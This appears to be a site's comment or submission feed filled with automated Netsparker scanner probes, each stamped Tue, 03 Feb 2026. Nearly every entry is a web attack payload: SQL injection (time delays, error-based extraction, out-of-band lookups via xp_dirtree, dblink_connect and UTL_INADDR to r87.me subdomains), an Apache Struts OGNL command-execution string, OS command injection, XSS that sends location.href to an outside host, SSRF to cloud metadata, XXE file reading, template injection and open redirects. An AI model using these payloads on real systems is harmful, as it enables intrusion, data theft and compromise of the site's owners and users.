java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
<iMg src="//r87.me/images/1.jpg" xss=removed>
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_d37quasya2x77s-o9p7pn8yqblcbq5n'||'jye.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
"& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_da2-wvy18cjvgcezthksrv6t5zl7q33'+'t1i.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'" ns=netsparker(0x174C08)
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
64.20.35.186/elmah.axd
Tue, 03 Feb 2026
https://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
<% response.write(268409241-9799) %>
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dt5o-9capy_5iprh26tom8q3isc-b4a'+'kkw.r87.me/r/?'+location.href">
Tue, 03 Feb 2026
print localtime()*0+0xFFF9999-68660
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_d8jmxbn_donpnrw9prqdio8cqnyv1mb'+'mgs.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
1 ns=netsparker(0x174C37)
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
'& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_d8oqvqxrmwqg4bukl-b0_ipr-xer8-u'||'h7w.r87.me user=a password=a connect_timeout=2')) as numeric)
Tue, 03 Feb 2026
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Tue, 03 Feb 2026
"& SET /A 0xFFF9999-12191 &
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Tue, 03 Feb 2026
//r87。com/?
Tue, 03 Feb 2026
127.100.11.2/elmah.axd
Tue, 03 Feb 2026
print(int)0xFFF9999-21309
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
[removed][removed]
Tue, 03 Feb 2026
//r87.com/n/n.css?0x174C8F
Tue, 03 Feb 2026
eval('print localtime()*0+0xFFF9999-28793')
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(45)||chr(49)||chr(106)||chr(113)||chr(109)||chr(122)||chr(108)||chr(109)||chr(122)||chr(53)||chr(111)||chr(108)||chr(102)||chr(107)||chr(113)||chr(119)||chr(97)||chr(122)||chr(118)||chr(109)||chr(115)||chr(95)||chr(121)||chr(120)||chr(120)||chr(51)||chr(122)||chr(118)||chr(99)||chr(53)||chr(112)||chr(55)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_devxmg7vfmy04scto9et24ropzf6tvy'+'me4.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
https://www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
Tue, 03 Feb 2026
& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
'& SET /A 0xFFF9999-70043 &
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Tue, 03 Feb 2026
127.0.0.1/elmah.axd
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dlasnk_-9vt6bkk5gxqaul4grvzyoqw'.'wcc.r87.me'))
Tue, 03 Feb 2026
print(int)0xFFF9999-66583;
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
@r87.com
Tue, 03 Feb 2026
' WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dywkiss3cr0ujtypaihaozl7epbw160"+"tpq.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
//r87.com/n/j/?0x174D14
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_d2fo6jc-8lxicfd7v46zgl2rjglanlu'+'in0.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'+print localtime()*0+0xFFF9999-93228+'
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_dpydw08ssz_04-h12d51wuo_ukkbhwy'||'bs4.r87.me user=a password=a connect_timeout=2'))||'
Tue, 03 Feb 2026
ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
[::1]/elmah.axd
Tue, 03 Feb 2026
www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
& SET /A 0xFFF9999-16798 &
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dthifrnwikhjkrn41ayvq-fwkiykg4h'.'8he.r87.me'));
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
+print(int)0xFFF9999-27832;//
Tue, 03 Feb 2026
1 WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dxqiqkd9x0cyykxspwelix_4ovlwiqy"+"clu.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
"+print localtime()*0+0xFFF9999-19291+"
Tue, 03 Feb 2026
'><net sparker=netsparker(0x174E6D)>
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_das8akh_fp6calyzcklrko0lhmhd9ti'+'kri.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dmuc8denm9rm-4wdjk6l1viapere4jg'||'4mq.r87.me') from DUAL)
Tue, 03 Feb 2026
"&ping -w 25 127.0.0.1 &"
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_d2gl_0mn_gkkkqe8smvamabonwcjlwn'.'lp8.r87.me'));//
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Tue, 03 Feb 2026
64.20.35.186/trace.axd
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Tue, 03 Feb 2026
SET /A 0xFFF9999-10759 &
Tue, 03 Feb 2026
'+print(int)0xFFF9999-66667+'
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 7024'))
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
"><net sparker=netsparker(0x174EC3)>
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_dckngf30p_n7komcnfckcvrnuiyv20x'+'gps.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dwtknrg5j9bf6n28oozhyev5ptg3nqu'||'lug.r87.me') from DUAL))))
Tue, 03 Feb 2026
www.aosacademy.com/elmah
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_ddwqzriail3lyhm5qsfht39u_ynxflk'.'xmc.r87.me'))+'
Tue, 03 Feb 2026
'&ping -w 25 127.0.0.1 &'
Tue, 03 Feb 2026
127.100.11.2/trace.axd
Tue, 03 Feb 2026
SET /A 0xFFF9999-42514
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Tue, 03 Feb 2026
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Tue, 03 Feb 2026
"+print(int)0xFFF9999-6635+"
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
1) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 23638'))
Tue, 03 Feb 2026
<iMg>
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dvyojpfdbdr8g5gqmlt_anfu-1rgabg'+'b6k.r87.me')exec sp_executesql @r
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x174F69)[removed]
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_d1axts8i0yx-ldx8kz8spbntl8dnwtk'||'tfe.r87.me') from DUAL))||'
Tue, 03 Feb 2026
127.0.0.1/trace.axd
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
64.20.35.186/elmah
Tue, 03 Feb 2026
NSFTW
Tue, 03 Feb 2026
((select sleep(25)))a-- 1
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_dhhmfmokwxyufb4wdbi-rrawmusqbfd'.'6vg.r87.me'))+"
Tue, 03 Feb 2026
//r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
&ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
| SET /A 0xFFF9999-54337
Tue, 03 Feb 2026
<?=(int)0xFFF9999-90939;//?>
Tue, 03 Feb 2026
') WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-52255)}
Tue, 03 Feb 2026
[::1]/trace.axd
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_de3ivc0tgvb4xe1_yufnumlaz9u82eg'+'mhk.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
[removed]netsparker(0x1750F1)
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x175100)[removed]
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(103)||chr(112)||chr(54)||chr(108)||chr(110)||chr(116)||chr(121)||chr(105)||chr(53)||chr(108)||chr(110)||chr(111)||chr(112)||chr(121)||chr(107)||chr(106)||chr(108)||chr(100)||chr(55)||chr(106)||chr(107)||chr(100)||chr(122)||chr(100)||chr(115)||chr(107)||chr(112)||chr(119)||chr(111)||chr(121)||chr(111)||chr(113)||chr(97)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Tue, 03 Feb 2026
127.100.11.2/elmah
Tue, 03 Feb 2026
'+NSFTW+'
Tue, 03 Feb 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Tue, 03 Feb 2026
1";expr 268409241 - 43628;"
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dnbve2jj5rw2dk7bjr-yluxw4bwu0h4'.'dig.r87.me'));//?>
Tue, 03 Feb 2026
{php}print(int)0xFFF9999-19623;{/php}
Tue, 03 Feb 2026
r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
')) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
p "#{0xFFF9999.to_i-`echo 31872`.to_i}"
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(113)||chr(111)||chr(117)||chr(53)||chr(97)||chr(52)||chr(122)||chr(50)||chr(116)||chr(121)||chr(111)||chr(109)||chr(54)||chr(104)||chr(98)||chr(122)||chr(98)||chr(106)||chr(50)||chr(107)||chr(119)||chr(98)||chr(99)||chr(107)||chr(118)||chr(101)||chr(121)||chr(114)||chr(111)||chr(110)||chr(110)||chr(107)||chr(48)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dzcpezi7eqiz-z6-fmtij6y8hkqwyxf'+'1ec.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
[removed]ns(0x175235)[removed]
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc1MjM3KTwvc2NyaXB0Pg==
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Tue, 03 Feb 2026
127.0.0.1/elmah
Tue, 03 Feb 2026
1';expr 268409241 - 88991;'
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_d91oeckywx0ha4jfvvzysbg134lco3r'.'s90.r87.me'))}}'
Tue, 03 Feb 2026
1)) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
ping -n 25 127.0.0.1
Tue, 03 Feb 2026
'{${print(int)0xFFF9999-65894}}'
Tue, 03 Feb 2026
r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(113)||chr(120)||chr(117)||chr(115)||chr(50)||chr(114)||chr(50)||chr(104)||chr(49)||chr(114)||chr(103)||chr(55)||chr(109)||chr(99)||chr(100)||chr(99)||chr(108)||chr(53)||chr(112)||chr(104)||chr(113)||chr(119)||chr(100)||chr(117)||chr(95)||chr(98)||chr(45)||chr(100)||chr(118)||chr(54)||chr(51)||chr(118)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_d0pgpdhyeypw3zathlewhiysw0xjspx'||'1xe.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
<%a style=x:expre/**/ssion(netsparker(0x1752E4))>
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('57294')).read()
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
'" ns=netsparker(0x1753D7)
Tue, 03 Feb 2026
1;expr 268409241 - 94259;x
Tue, 03 Feb 2026
www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
[::1]/elmah
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Tue, 03 Feb 2026
r87.com/?https://www.aosacademy.com/
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_df8mj5uq4kig50fzyg0soujdrtgru-2" & "rui.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
ping -w 25 127.0.0.1
Tue, 03 Feb 2026
[php]print(int)0xFFF9999-5573;[/php]
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_dtzlkmuofpwjwpk_p0mzawl_jjsdchz'||'c5a.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
n;ns:[removed]netsparker(0x175464));
Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('96118')).read()
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Tue, 03 Feb 2026
expr 268409241 - 17663;
Tue, 03 Feb 2026
64.20.35.186/elmah.axd
Tue, 03 Feb 2026
1 ns=netsparker(0x17546F)
Tue, 03 Feb 2026
1';SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://aws.r87.me/latest/meta-data/public-hostname
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_d_b0i1yy_m7qsky-xrdk4xcc-sjh_h2" & "hmw.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
/\r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
|ping -n 25 127.0.0.1
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='26303').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Tue, 03 Feb 2026
body{x:[removed]netsparker(0x1755CA))}
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_dj009ahfuyojxnyyygarxvmeh_htlbr'||'e58.r87.me user=a password=a connect_timeout=2')) as numeric)
Tue, 03 Feb 2026
127.100.11.2/elmah.axd
Tue, 03 Feb 2026
//r87.com/n/n.css?0x1755DC
Tue, 03 Feb 2026
1;SELECT pg_sleep(25)--
Tue, 03 Feb 2026
http://169.254.169.254/latest/meta-data/public-hostname
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dxr7wn0q3wpjb4esn7chdcpr7n8wuvm" & "wu0.r87.me").StdOut.ReadAll+
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Tue, 03 Feb 2026
expr 268409241 - 74619
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
///r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
print localtime()*0+0xFFF9999-66402
Tue, 03 Feb 2026
N3tSp4rK3R
Tue, 03 Feb 2026
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Tue, 03 Feb 2026
NS09<s1﹥DBLʺSNGLʹNS09
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(118)||chr(103)||chr(55)||chr(53)||chr(101)||chr(112)||chr(110)||chr(116)||chr(51)||chr(95)||chr(109)||chr(56)||chr(98)||chr(118)||chr(98)||chr(52)||chr(105)||chr(117)||chr(110)||chr(52)||chr(100)||chr(97)||chr(56)||chr(115)||chr(100)||chr(108)||chr(102)||chr(113)||chr(101)||chr(109)||chr(114)||chr(55)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Tue, 03 Feb 2026
*/netsparker(0x1756F2);/*
Tue, 03 Feb 2026
127.0.0.1/elmah.axd
Tue, 03 Feb 2026
//r87.com/n/j/?0x175716
Tue, 03 Feb 2026
SELECT pg_sleep(25)--
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_dordz6rtki59c7mpl_c_8zaevlihwga" & "agg.r87.me").StdOut.ReadAll%>
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Tue, 03 Feb 2026
http://127.0.0.1:22
Tue, 03 Feb 2026
<!--#exec cmd="expr 268409241 - 26781"-->
Tue, 03 Feb 2026
<iframe src="http://r87.com/?"></iframe>
Tue, 03 Feb 2026
eval('print localtime()*0+0xFFF9999-88860')
Tue, 03 Feb 2026
${28275*28275-(44354)}
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_doamvj8-zjwzlijswfuzr3tb1b6pqhe'.'nf0.r87.me'))
Tue, 03 Feb 2026
response.write(268409241-11627)'
Tue, 03 Feb 2026
[::1]/elmah.axd
Tue, 03 Feb 2026
1);SELECT pg_sleep(25)--
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_desbsxyoqx1sz-fy7mqtqvi6wnesusg'||'vts.r87.me user=a password=a connect_timeout=2'))||'
Tue, 03 Feb 2026
'+netsparker(0x17576C)+'
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Tue, 03 Feb 2026
'><net sparker=netsparker(0x17579B)>
Tue, 03 Feb 2026
http://64.20.35.186:22
Tue, 03 Feb 2026
'+print localtime()*0+0xFFF9999-51320+'
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dthitj1cn7mbr9ba-wclxgs2cxhlpis" & "on0.r87.me").StdOut.ReadAll+"
Tue, 03 Feb 2026
|expr${IFS}268409241${IFS}-${IFS}55261
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Tue, 03 Feb 2026
www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
#{28275*28275-(65492)}
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dwrkrthykq2uot03fecvxofrq9ijam2'.'41u.r87.me'));
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Tue, 03 Feb 2026
